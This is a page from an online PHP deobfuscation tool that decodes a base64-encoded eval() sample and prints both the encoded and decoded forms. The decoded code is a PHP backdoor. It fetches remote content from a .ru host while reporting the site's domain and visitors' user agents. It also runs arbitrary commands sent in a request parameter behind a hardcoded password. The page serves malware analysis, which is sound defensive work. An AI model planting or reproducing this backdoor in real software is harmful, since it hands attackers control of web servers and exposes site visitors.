Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHsgZXJyb3JfcmVwb3J0aW..

Decoded Output download

if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://www.fudnotdet.ru/get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("b47ef2f1e09bc6ce8d215d9fabcc06a0".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("www.fudnotdet.ru", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("b47ef2f1e09bc6ce8d215d9fabcc06a0".$d.$u.$c."1")." HTTP/1.1
";
    $out .= "Host: www.fudnotdet.ru
";
    $out .= "Connection: Close

";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "d92f6a06") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}

Did this file decode correctly?

Original Code

eval(base64_decode("aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHsgZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsICIwIik7CmlmICghaXNzZXQoJGlidikpIHsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZihwcmVnX21hdGNoKCchXFMhdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJ1IjsgZWxzZSAkYyA9ICJ3IjsKJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJHUgPSAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1cmwgPSAiaHR0cDovL3d3dy5mdWRub3RkZXQucnUvZ2V0LnBocD9kPSIudXJsZW5jb2RlKCRkKS4iJnU9Ii51cmxlbmNvZGUoJHUpLiImYz0iLiRjLiImaT0xJmg9Ii5tZDUoImI0N2VmMmYxZTA5YmM2Y2U4ZDIxNWQ5ZmFiY2MwNmEwIi4kZC4kdS4kYy4iMSIpOwppZihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7CiRpYnYgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsKJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwpjdXJsX2Nsb3NlKCRjaCk7CiRpYnYgPSAkcmVzdWx0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oInd3dy5mdWRub3RkZXQucnUiLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7CmlmICgkZnApIHsKICAgICRvdXQgPSAiR0VUIC9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJGQpLiImdT0iLnVybGVuY29kZSgkdSkuIiZjPSIuJGMuIiZpPTEmaD0iLm1kNSgiYjQ3ZWYyZjFlMDliYzZjZThkMjE1ZDlmYWJjYzA2YTAiLiRkLiR1LiRjLiIxIikuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogd3d3LmZ1ZG5vdGRldC5ydVxyXG4iOwogICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7CiAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICRyZXNwID0gIiI7CiAgICB3aGlsZSAoIWZlb2YoJGZwKSkgewogICAgICAgICRyZXNwIC49IGZnZXRzKCRmcCwgMTI4KTsKICAgIH0KICAgIGZjbG9zZSgkZnApOwogICAgbGlzdCgkaGVhZGVyLCAkYm9keSkgPSBwcmVnX3NwbGl0KCIvXFJcUi8iLCAkcmVzcCwgMik7CiAgICAkaWJ2ID0gJGJvZHk7Cn0KfQp9OwppZihpc3NldCgkX1JFUVVFU1RbInAiXSkgJiYgJF9SRVFVRVNUWyJwIl0gPT0gImQ5MmY2YTA2IikgeyBldmFsKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbImMiXSkpOyB9CmVjaG8gJGlidjt9"));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 756002b6e2cc0cc94b9fd45547e50b26
Eval Count 1
Decode Time 84 ms